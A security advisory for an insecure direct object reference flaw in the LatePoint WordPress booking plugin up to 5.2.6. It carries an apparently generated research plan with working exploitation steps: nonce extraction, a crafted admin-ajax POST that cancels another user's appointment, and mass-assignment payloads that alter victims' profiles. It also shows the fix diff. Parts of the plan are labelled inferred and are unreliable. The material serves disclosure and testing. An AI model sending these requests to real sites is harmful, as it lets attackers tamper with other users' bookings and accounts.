LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.6 - Authenticated (Subscriber+) Insecure Direct Object Reference
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.2.6 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform unauthorized actions.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.2.7
Source Code
WordPress.org SVN# Research Plan: CVE-2026-32533 - LatePoint Insecure Direct Object Reference (IDOR) ## 1. Vulnerability Summary The **LatePoint – Calendar Booking Plugin for Appointments and Events** (up to 5.2.6) is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists in the plug…
Show full research plan
Research Plan: CVE-2026-32533 - LatePoint Insecure Direct Object Reference (IDOR)
1. Vulnerability Summary
The LatePoint – Calendar Booking Plugin for Appointments and Events (up to 5.2.6) is vulnerable to an Insecure Direct Object Reference (IDOR). The vulnerability exists in the plugin's handling of specific AJAX routes where user-controlled identifiers (keys/IDs) are processed without verifying that the requesting authenticated user (Subscriber level or higher) has ownership or authorization for the target object.
According to the CVSS vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N), the impact is limited to Integrity (Low) with no Confidentiality impact. This strongly suggests the vulnerability allows an attacker to modify or delete/cancel objects (like appointments or customer metadata) belonging to other users, rather than viewing private data.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
latepoint_route_call(The primary router for the plugin's internal MVC architecture). - Vulnerable Parameters:
route: Likelyappointments__cancelorappointments__delete.params[id]: The ID of the appointment to be cancelled/deleted.
- Authentication: Subscriber+ (Customer role in LatePoint).
- Preconditions:
- Plugin must be active.
- An appointment belonging to another user (the victim) must exist.
- The attacker must know or guess the integer ID of the victim's appointment.
3. Code Flow (Inferred)
- Entry Point: The client sends an AJAX request to
admin-ajax.phpwithaction=latepoint_route_call. - Routing: The main plugin file (or a router class like
LatePoint\Helpers\RouterHelper) receives the request. - Action Execution: The router parses the
routeparameter (e.g.,appointments__cancel). This maps to thecancelmethod in theAppointmentscontroller. - The Sink: Inside the controller (e.g.,
lib/controllers/appointments_controller.php), the code retrieves the appointment object usingparams['id']. - The Flaw: The code checks if the user is logged in (Authentication) but fails to check if the
customer_idassociated with the fetched appointment matches thecurrent_user_id(Authorization). - The Action: The plugin proceeds to update the appointment status to "cancelled" or deletes it from the database.
4. Nonce Acquisition Strategy
LatePoint uses nonces for AJAX requests, typically localized in a JavaScript object.
- Create a Trigger Page: LatePoint usually enqueues its assets on pages containing the booking button or customer dashboard.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[latepoint_customer_dashboard]'
- Command:
- Navigate and Extract:
- Login as a Subscriber (Attacker).
- Navigate to the created page.
- LatePoint nonces are often found in the
latepoint_helperorlatepoint_booking_form_dataglobal JS objects. - JS Variable:
latepoint_helper.nonceorlatepoint_booking_form_data.nonce.
- Browser Eval:
browser_eval("window.latepoint_helper?.nonce")
5. Exploitation Strategy
The goal is to cancel an appointment belonging to another user.
Step 1: Identify Victim Appointment
For the PoC, we will create a Victim user and an appointment for them using WP-CLI. Note the ID of this appointment.
Step 2: Authenticate as Attacker
Login to the WordPress instance as a Subscriber-level user.
Step 3: Perform Unauthorized Cancellation
Send an AJAX request to cancel the victim's appointment.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=latepoint_route_call &route=appointments__cancel &latepoint_nonce=<NONCE_OBTAINED_FROM_STEP_4> ¶ms[id]=<VICTIM_APPOINTMENT_ID> &return_format=json
6. Test Data Setup
- Victim User:
wp user create victim victim@example.com --role=subscriber --user_pass=password
- Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- LatePoint Setup (Simplified):
- Ensure at least one Service and one Agent exist (required for appointments).
wp latepoint create_service --name="Test Service"(Note: requires actual latepoint CLI or manual DB insertion if CLI is unavailable).
- Victim Appointment:
- Create an appointment manually or via WP-CLI/SQL for the victim user.
wp db query "INSERT INTO wp_latepoint_appointments (customer_id, service_id, agent_id, start_date, start_time, end_time, status) VALUES (<VICTIM_ID>, 1, 1, '2026-12-25', 600, 660, 'approved')"- Identify the ID of this inserted row.
7. Expected Results
- Response: The server returns a JSON success message (e.g.,
{"status": "success", "message": "Appointment cancelled"}). - Side Effect: The appointment in the database with the Victim's ID now has a status of
cancelled.
8. Verification Steps
- Check the status of the appointment using WP-CLI:
wp db query "SELECT status FROM wp_latepoint_appointments WHERE id = <VICTIM_APPOINTMENT_ID>"
- Confirm that the status has changed from
approvedtocancelled. - Verify that the Attacker does NOT own this appointment:
wp db query "SELECT customer_id FROM wp_latepoint_appointments WHERE id = <VICTIM_APPOINTMENT_ID>"(Should return the Victim's ID, not the Attacker's).
9. Alternative Approaches
If appointments__cancel is properly protected, check other common LatePoint routes for similar IDOR patterns:
- Route:
customers__update_profile- Payload:
params[id]=<VICTIM_CUSTOMER_ID>¶ms[first_name]=Hacked - Check if the Attacker can change the name/email of the Victim customer.
- Payload:
- Route:
appointments__delete- Similar to cancel, but attempts actual removal.
- Route:
activities__get_latest- Check if
params[customer_id]allows viewing activity logs of other users (unlikely given CVSS "C:N", but worth checking).
- Check if
Summary
The LatePoint plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) and Mass Assignment because it fails to verify ownership of booking objects and restrict updateable fields. Authenticated attackers with Subscriber-level access can manipulate booking IDs to access or cancel appointments belonging to other users, or modify sensitive user profile data.
Vulnerable Code
// lib/helpers/steps_helper.php (v5.2.6) public static function load_step( $step_code, $format = 'json', $params = [] ) { self::$params = $params; $step_code = self::check_step_code_access( $step_code ); // ... No ownership check on params['booking']['id'] before processing ... --- // lib/controllers/customers_controller.php (v5.2.6) public function update() { $this->check_nonce( 'edit_customer' ); $customer = new OsCustomerModel( $this->params['id'] ); if ( $customer->is_new_record() ) { // ... error handling ... } else { $old_customer_data = $customer->get_data_vars(); $customer->set_data( $this->params['customer'] ); if ( $customer->save() ) { // ... success handling ... } } }
Security Fix
@@ -149,7 +149,8 @@ public function create() { $this->check_nonce( 'new_customer' ); $customer = new OsCustomerModel(); - $customer->set_data( $this->params['customer'] ); + // Security fix: Prevent mass assignment of wordpress_user_id by non-admin users. + $customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC ); if ( $customer->save() ) { // translators: %s is the html of a customer edit link $response_html = sprintf( __( 'Customer Created ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' ); @@ -178,7 +179,8 @@ $status = LATEPOINT_STATUS_ERROR; } else { $old_customer_data = $customer->get_data_vars(); - $customer->set_data( $this->params['customer'] ); + // Security fix: Prevent mass assignment of wordpress_user_id by non-admin users. + $customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC ); if ( $customer->save() ) { // translators: %s is the html of a customer edit link $response_html = sprintf( __( 'Customer Updated ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' ); @@ -467,6 +467,24 @@ public static function load_step( $step_code, $format = 'json', $params = [] ) { self::$params = $params; + // Security: If loading existing booking by ID, verify ownership. + if ( ! empty( $params['booking']['id'] ) ) { + $booking_to_check = new OsBookingModel( $params['booking']['id'] ); + if ( ! $booking_to_check->is_new_record() ) { + $current_customer_id = OsAuthHelper::get_logged_in_customer_id(); + if ( ! $current_customer_id || $booking_to_check->customer_id != $current_customer_id ) { + // Unauthorized access - return error. + wp_send_json( + array( + 'status' => LATEPOINT_STATUS_ERROR, + 'message' => __( 'Not Allowed', 'latepoint' ), + ) + ); + return; + } + } + } + $step_code = self::check_step_code_access( $step_code );
Exploit Outline
The exploit targets the `latepoint_route_call` AJAX action. An authenticated attacker (Subscriber/Customer) identifies the ID of a victim's booking or customer profile. By sending a POST request to `wp-admin/admin-ajax.php` with `action=latepoint_route_call` and specific parameters, the attacker can manipulate these objects. For IDOR: provide the victim's booking ID in `params[booking][id]` during a booking management step. For Mass Assignment: provide a victim's customer ID in `params[id]` and include sensitive fields like `wordpress_user_id` in the `params[customer]` array to re-link LatePoint profiles to different WordPress users. The attacker must include a valid LatePoint nonce, which is easily extracted from the customer dashboard's JavaScript global variables.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.